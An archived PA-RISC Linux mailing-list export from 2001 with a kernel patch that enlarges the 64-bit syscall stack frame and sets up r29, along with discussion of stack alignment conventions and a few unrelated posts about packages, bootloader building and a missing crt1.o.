On Thu, Dec 21, 2000 at 04:00:06PM +0000, Richard Hirst wrote:
> Hi,
>   I tried calling ptrace() from a 32 bit app on a 64 bit kernel, and
> the kernel crashed.  sys_ptrace needs a 32 bit wrapper, but that is
> a seperate issue (I think).
> 
> It died at sys_ptrace+0x28, where it tried to use ret1.
> (ret1 = 00000000000517a1):

So, I still havn't fixed this, because I added a syscall wrapper for
sys_ptrace() and that masked the problem.  The wrapper didn't try to
use the incoming r29, and it initialised r29 before calling sys_ptrace().

64 bit functions expect r29 to point to a parameter save area.  I've
made changes in my tree to increase FRAME_SIZE from 64 to 128 bytes on
64 bit, and initialise r29 on syscall entry.  I havn't committed it yet.
I was just going to increase to 80 bytes - 64 bytes save area plus
16 for rp and sp - but Willy thought there was a requirement for the
stack to be 64 byte aligned.
Presumably r29 needs initialising on every call from entry.S and syscall.S
to C code, but I'm not over confident about that, so I thought I'd let
others see my diff so far.  Comments?

Richard


Index: arch/parisc/kernel/syscall.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/syscall.S,v
retrieving revision 1.49
diff -u -r1.49 syscall.S
--- syscall.S	2001/01/20 04:44:04	1.49
+++ syscall.S	2001/01/23 13:03:29
@@ -23,7 +23,13 @@
 	.level		1.1
 #endif
 	.text
-	
+
+#ifdef __LP64__
+#define FRAME_SIZE	128
+#else
+#define FRAME_SIZE	64
+#endif
+
 	.import syscall_exit,code
 	.import syscall_exit_rfi,code
 	.export linux_gateway_page
@@ -94,11 +100,12 @@
 	STREG	%r27, TASK_PT_SAR(%r1)
 
 	loadgp
-
-	ldo	TASK_SZ_ALGN+64(%r1),%r30	/* set up kernel stack */
 
-#ifndef __LP64__
-	/* no need to save these on stack because in wide mode the first 8
+	ldo	TASK_SZ_ALGN+FRAME_SIZE(%r1),%r30	/* set up kernel stack */
+#ifdef __LP64__
+	ldo	-16(%r30),%r29			/* Reference param save area */
+#else
+	/* no need to save these on stack in wide mode because the first 8
 	 * args are passed in registers */
 	stw     %r22, -52(%r30)                 /* 5th argument */
 	stw     %r21, -56(%r30)                 /* 6th argument */
@@ -170,7 +177,7 @@
 	 * C bit set, a non-straced syscall entry results in C and D clear
 	 * in the saved PSW.
 	 */
-	ldo     -TASK_SZ_ALGN-64(%r30),%r1      /* get task ptr */
+	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	ssm	0,%r2
 	STREG	%r2,TASK_PT_PSW(%r1)		/* Lower 8 bits only!! */
 	STREG	%r1,TASK_PT_CR30(%r1)
@@ -224,7 +231,7 @@
 	LDIL_FIXUP(%r1)
 	ldo     R%sys_call_table(%r1), %r19
 
-	ldo     -TASK_SZ_ALGN-64(%r30),%r1      /* get task ptr */
+	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	LDREG   TASK_PT_GR20(%r1), %r20
 	LDREG   TASK_PT_GR26(%r1), %r26		/* Restore the users args */
 	LDREG   TASK_PT_GR25(%r1), %r25
@@ -260,10 +267,10 @@
 	makes a direct call to syscall_trace. */
 	
 tracesys_exit:
-	ldo     -TASK_SZ_ALGN-64(%r30),%r1      /* get task ptr */
+	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	bl	syscall_trace, %r2
 	STREG   %r28,TASK_PT_GR28(%r1)          /* save return value now */
-	ldo     -TASK_SZ_ALGN-64(%r30),%r1      /* get task ptr */
+	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	LDREG   TASK_PT_GR28(%r1), %r28		/* Restore return val. */
 
 	ldil	L%syscall_exit,%r1
@@ -278,7 +285,7 @@
 	ldo	R%tracesys_sigexit(%r2),%r2
 
 tracesys_sigexit:
-	ldo     -TASK_SZ_ALGN-64(%r30),%r1      /* get task ptr */
+	ldo     -TASK_SZ_ALGN-FRAME_SIZE(%r30),%r1      /* get task ptr */
 	bl	syscall_trace, %r2
 	nop
 
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.58
diff -u -r1.58 entry.S
--- entry.S	2001/01/13 09:51:57	1.58
+++ entry.S	2001/01/23 13:03:36
@@ -48,7 +48,7 @@
 #include <asm/signal.h>
 
 #ifdef __LP64__
-#define FRAME_SIZE	64
+#define FRAME_SIZE	128
 #else
 #define FRAME_SIZE	64
 #endif
@@ -1787,7 +1787,7 @@
 
 	/* Set the return value for the child */
 child_return:
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Wed, 24 Jan 2001 01:20:34 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101240116440.29059-100000@front.linuxcare.com.au>
References: <20010123134545.W3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619576 11111 80.91.229.3 (22 Nov 2014 01:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Jan 23 07:16:49 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA27358
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 07:16:49 -0700
Original-Received: (qmail 8819 invoked by uid 15267); 23 Jan 2001 14:20:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8798 invoked from network); 23 Jan 2001 14:20:40 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 14:20:40 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA24152;
	Wed, 24 Jan 2001 01:20:34 +1100
In-Reply-To: <20010123134545.W3571@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9337

On Tue, 23 Jan 2001, Richard Hirst wrote:
> 64 bit functions expect r29 to point to a parameter save area.  I've
> made changes in my tree to increase FRAME_SIZE from 64 to 128 bytes on
> 64 bit, and initialise r29 on syscall entry.  I havn't committed it yet.
> I was just going to increase to 80 bytes - 64 bytes save area plus
> 16 for rp and sp - but Willy thought there was a requirement for the
> stack to be 64 byte aligned.

Yup.

> Presumably r29 needs initialising on every call from entry.S and syscall.S
> to C code

Yes, that too.

Is there any code elsewhere that "knows" the stack frame is 64 bytes
(except for gdb and signal handler frames)?

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Tue, 23 Jan 2001 14:30:51 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20010123143051.A12476@parcelfarce.linux.theplanet.co.uk>
References: <20010123134545.W3571@linuxcare.com> <Pine.LNX.4.21.0101240116440.29059-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619576 11115 80.91.229.3 (22 Nov 2014 01:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:16 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: willy@www.linux.org.uk  Tue Jan 23 07:27:08 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA27750
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 07:27:08 -0700
Original-Received: (qmail 23647 invoked by uid 15267); 23 Jan 2001 14:31:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23638 invoked from network); 23 Jan 2001 14:31:00 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 14:31:00 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14L4TD-0004Lc-00; Tue, 23 Jan 2001 14:30:51 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <Pine.LNX.4.21.0101240116440.29059-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Jan 24, 2001 at 01:20:34AM +1100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9338

On Wed, Jan 24, 2001 at 01:20:34AM +1100, Alan Modra wrote:
> > I was just going to increase to 80 bytes - 64 bytes save area plus
> > 16 for rp and sp - but Willy thought there was a requirement for the
> > stack to be 64 byte aligned.
> 
> Yup.
> 
> Is there any code elsewhere that "knows" the stack frame is 64 bytes
> (except for gdb and signal handler frames)?

i'm not sure that's the point... knowing the stack frame is 64 byte
aligned allows the compiler to know the alignment of all types being
placed on the stack.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Tue, 23 Jan 2001 15:43:58 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <20010123154358.Y3571@linuxcare.com>
References: <20010123134545.W3571@linuxcare.com> <Pine.LNX.4.21.0101240116440.29059-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619576 11117 80.91.229.3 (22 Nov 2014 01:26:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:16 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: rhirst@linuxcare.com  Tue Jan 23 08:49:51 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA28744
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 08:49:51 -0700
Original-Received: (qmail 28571 invoked by uid 15267); 23 Jan 2001 15:53:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28533 invoked from network); 23 Jan 2001 15:53:43 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 15:53:43 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 6578BB005; Tue, 23 Jan 2001 15:43:58 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0101240116440.29059-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Wed, Jan 24, 2001 at 01:20:34AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:9339

On Wed, Jan 24, 2001 at 01:20:34AM +1100, Alan Modra wrote:
> Is there any code elsewhere that "knows" the stack frame is 64 bytes
> (except for gdb and signal handler frames)?

I don't know of any; the kernel still boots ok with my changes, so
it looks promising.  I'll play a bit more before I commit anything.

Thanks,
  Richard


From - Thu Nov 08 21:15:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ftp package
Date: Tue, 23 Jan 2001 19:25:26 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3A6DCC96.A07E8F59@esiee.fr>
References: <14688115.3188896052@chem42.chem.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619577 11124 80.91.229.3 (22 Nov 2014 01:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:17 +0000 (UTC)
To: jcarlson@macalester.edu, parisc-linux@thepuffingroup.com
Original-X-From: delahaym@esiee.fr  Tue Jan 23 11:21:45 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30008
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 11:21:44 -0700
Original-Received: (qmail 7318 invoked by uid 15267); 23 Jan 2001 18:25:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6989 invoked from network); 23 Jan 2001 18:25:29 -0000
Original-Received: from mail.esiee.fr (147.215.1.3)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 18:25:29 -0000
Original-Received: from pc5158a.esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id E1E65D159F; Tue, 23 Jan 2001 19:25:27 +0100 (CET)
Original-Received: from localhost
	([127.0.0.1] helo=esiee.fr ident=delahaym)
	by pc5158a.esiee.fr with esmtp (Exim 3.12 #1 (Debian))
	id 14L88F-0006W0-00; Tue, 23 Jan 2001 19:25:27 +0100
Original-Sender: delahaym@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9340

jcarlson@macalester.edu wrote:

> I was going to get some packages and such...but it seems that the base .5
> image lacks ftp...

If you want to try it, we made an ftp package:)
http://www.esiee.fr/puffin

ESIEE Team
puffin@esiee.net




From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Tue, 23 Jan 2001 10:47:41 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <200101231850.KAA26800@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619577 11128 80.91.229.3 (22 Nov 2014 01:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:17 +0000 (UTC)
Cc: "Richard Hirst" <rhirst@linuxcare.com>, <parisc-linux@thepuffingroup.com>
To: "Matthew Wilcox" <matthew@wil.cx>, "Alan Modra" <alan@linuxcare.com.au>
Original-X-From: cary@cup.hp.com  Tue Jan 23 11:46:17 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA30425
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 11:46:16 -0700
Original-Received: (qmail 19653 invoked by uid 15267); 23 Jan 2001 18:50:09 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19635 invoked from network); 23 Jan 2001 18:50:09 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 18:50:09 -0000
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel1.hp.com (Postfix) with ESMTP
	id 0F3972120; Tue, 23 Jan 2001 10:50:07 -0800 (PST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA26800;
	Tue, 23 Jan 2001 10:50:06 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:9341

>> Is there any code elsewhere that "knows" the stack frame is 64 bytes
>> (except for gdb and signal handler frames)?
>
>i'm not sure that's the point... knowing the stack frame is 64 byte
>aligned allows the compiler to know the alignment of all types being
>placed on the stack.

On HP-UX, the 64-bit conventions require only 16-byte alignment for stack 
frames.

Several years ago we made an attempt to establish a 64-byte stack frame 
alignment in the 32-bit conventions, so that the compiler could take 
advantage of certain cache hints available on some PA-RISC CPUs. Because 
of the complexity of assuring that all stack frames in a program obeyed 
this convention, and the growth in average stack use, we abandoned the 
idea.

I don't believe, however, that we ever fixed the 32-bit conventions 
document to reflect this reversal. Unfortunately, it still says that sp 
must be 64-byte aligned. Trust me -- it's wrong. We've never enforced a 
64-byte alignment.

-cary


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc64 kernel and ret1 (gr29) setup
Date: Tue, 23 Jan 2001 14:17:48 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <5101.980284668@slagheap.cygnus.com>
References: <200101231850.KAA26800@adlmail.cup.hp.com>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619577 11129 80.91.229.3 (22 Nov 2014 01:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:17 +0000 (UTC)
Cc: "Matthew Wilcox" <matthew@wil.cx>, "Alan Modra" <alan@linuxcare.com.au>,
        "Richard Hirst" <rhirst@linuxcare.com>,
        parisc-linux@thepuffingroup.com
To: Cary Coutant <cary@cup.hp.com>
Original-X-From: law@slagheap.cygnus.com  Tue Jan 23 14:15:48 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA32045
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 14:15:47 -0700
Original-Received: (qmail 556 invoked by uid 15267); 23 Jan 2001 21:19:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31019 invoked from network); 23 Jan 2001 21:18:40 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 21:18:40 -0000
Original-Received: from slagheap.cygnus.com (cse.cygnus.com [205.180.230.236])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA17463
	for <parisc-linux@thepuffingroup.com>; Tue, 23 Jan 2001 13:18:35 -0800 (PST)
Original-Received: from slagheap.cygnus.com (law@localhost)
	by slagheap.cygnus.com (8.11.0/8.11.0) with ESMTP id f0NLHna05102;
	Tue, 23 Jan 2001 14:17:50 -0700
X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of Tue, 23 Jan 2001 10:47:41 PST.
             <200101231850.KAA26800@adlmail.cup.hp.com> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:9342

  In message <200101231850.KAA26800@adlmail.cup.hp.com>you write:
  > Several years ago we made an attempt to establish a 64-byte stack frame 
  > alignment in the 32-bit conventions, so that the compiler could take 
  > advantage of certain cache hints available on some PA-RISC CPUs. Because 
  > of the complexity of assuring that all stack frames in a program obeyed 
  > this convention, and the growth in average stack use, we abandoned the 
  > idea.
  > 
  > I don't believe, however, that we ever fixed the 32-bit conventions 
  > document to reflect this reversal. Unfortunately, it still says that sp 
  > must be 64-byte aligned. Trust me -- it's wrong. We've never enforced a 
  > 64-byte alignment.
Correct.  I believe it was roughly 1993 when I first saw the 64byte stack
frame alignment in an ABI spec for 32bit PA/HPUX and twiddled GCC
appropriately.

In 1995 GCC's optimizers were made smarter in terms of removing redundant
pointer arithmetic and logical ops which exposed the fact that hpux wasn't
actually providing a 64byte aligned stack :-)  And (of course) I had to
re-adjust the known stack alignment for the PA port to reflect reality.

I haven't looked in any of the newer ABI docs to see if this was ever
corrected.

jeff


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 12:44:46 -0400 (EDT)
Lines: 37
Approved: news@gmane.org
Message-ID: <199906011644.MAA25119@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.9906011146400.24972-100000@centauri.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619577 11133 80.91.229.3 (22 Nov 2014 01:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:17 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: cjbeard@istar.ca (Christopher Beard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jun  1 10:45:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA09405
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 10:45:05 -0600
Original-Received: (qmail 32460 invoked by uid 15267); 1 Jun 1999 16:44:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32453 invoked from network); 1 Jun 1999 16:44:22 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 16:44:22 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id MAA25119;
	Tue, 1 Jun 1999 12:44:46 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.10.9906011146400.24972-100000@centauri.osfi-bsif.gc.ca> from "Christopher Beard" at Jun 1, 99 11:58:57 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9343

> > Hm.  Okay then.  So what we need to do is fix the cross compiling of
> > mkipl.  I'll have a look at this.
>           
> There is some confusion here. The IPL does not have to be SOM, in fact, it
> wouldn't work correctly if it was. It's a raw binary format created using
> HP's linker by passing parameters to give it a zero offset, etc. (And
> which Jason Eckardt suggests could also be extracted from a valid ELF
> format binary given the right script.)

If the IPL could be extracted from an ELF binary, then it could be produced
on any system which supports cross compiling to HP/UX ELF format.

There also seems to be some confusion about the kernel and its format.
In order to debug it, it needs to be either an ELF or SOM binary with
symbol tables, .stabs info, etc.  Although I haven't looked at the
IPL, I would guess that it is designed to load an ELF binary.  There
are also file system issues.

> The confusion exists as currently, it can only be produced under HP/UX as
> there are still some issues with the xcompiler/binutils under x86 for the
> PA-RISC target. 
> 
> I haven't looked at this very closely, but when I attempted to generate a
> raw binary of the bootloader code with the xcompiler/binutils it either
> segfaulted or generated a 4 GB sparse file. There was a double free within
> binutils which was fixed, and some minor version mismatches, but still, it
> does not generate a working binary.

Obviously, the bootloader will be a pain to debug.  I think that I have
a working cross compiler running under hpux to produce ELF object files
and binaries.  I had a problem with ld which went away when I rebuilt
binutils with no optimization (-O0).

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Josiah Carlson <jcarlson@macalester.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] crt1.o
Date: Tue, 23 Jan 2001 16:37:40 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619578 11137 80.91.229.3 (22 Nov 2014 01:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:18 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jcarlson@macalester.edu  Tue Jan 23 15:35:29 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA00466
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 15:35:28 -0700
Original-Received: (qmail 9461 invoked by uid 15267); 23 Jan 2001 22:39:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9453 invoked from network); 23 Jan 2001 22:39:17 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 22:39:17 -0000
Original-Received: from dualcel400 ([141.140.106.33])
 by macalester.edu (PMDF V5.2-32 #38670)
 with SMTP id <01JZ94UWQUC2002CBK@macalester.edu> for
 parisc-linux@thepuffingroup.com; Tue, 23 Jan 2001 16:39:13 CDT
X-Mailer: Becky! ver 1.25.04
Xref: news.gmane.org gmane.linux.ports.parisc:9344

To summarize my current installation:
.5 image copied onto hard drive
base.tgz installed
nfsroot from 10-05-2000
ftp.deb (works great BTW)

>From here I've tried to configure MPICH for compilation...though I keep
getting a crt1.o not found error, even though it exists in /usr/lib.
I tried re-extracting the glibc tarball in /install/debian-hppa, but I
keep getting the same error.
Remembering the problems with caching I tried sync, but that didn't
work.

Just to try something out...I 'm curious as to which file contains the
listing of paths that are searched for libraries by gcc or g++ (or in
general all paths searched by the shell for execution), does anyone know
which file that is?
Or has anyone else had this problem, even after getting crt1.o into
/usr/lib?
Thank you,
 - Josiah


From - Thu Nov 08 21:15:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] crt1.o
Date: Tue, 23 Jan 2001 17:49:52 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200101232249.RAA04914@hiauly1.hia.nrc.ca>
References: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619578 11141 80.91.229.3 (22 Nov 2014 01:26:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jcarlson@macalester.edu (Josiah Carlson)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Jan 23 15:46:03 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA00846
	for <parisc-linux@puffin.external.hp.com>; Tue, 23 Jan 2001 15:46:02 -0700
Original-Received: (qmail 26187 invoked by uid 15267); 23 Jan 2001 22:49:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26171 invoked from network); 23 Jan 2001 22:49:55 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 23 Jan 2001 22:49:55 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA04914;
	Tue, 23 Jan 2001 17:49:52 -0500 (EST)
In-Reply-To: <3A6E07B41A5.2E2CJCARLSON@smtp.macalester.edu> from "Josiah Carlson" at Jan 23, 2001 04:37:40 pm
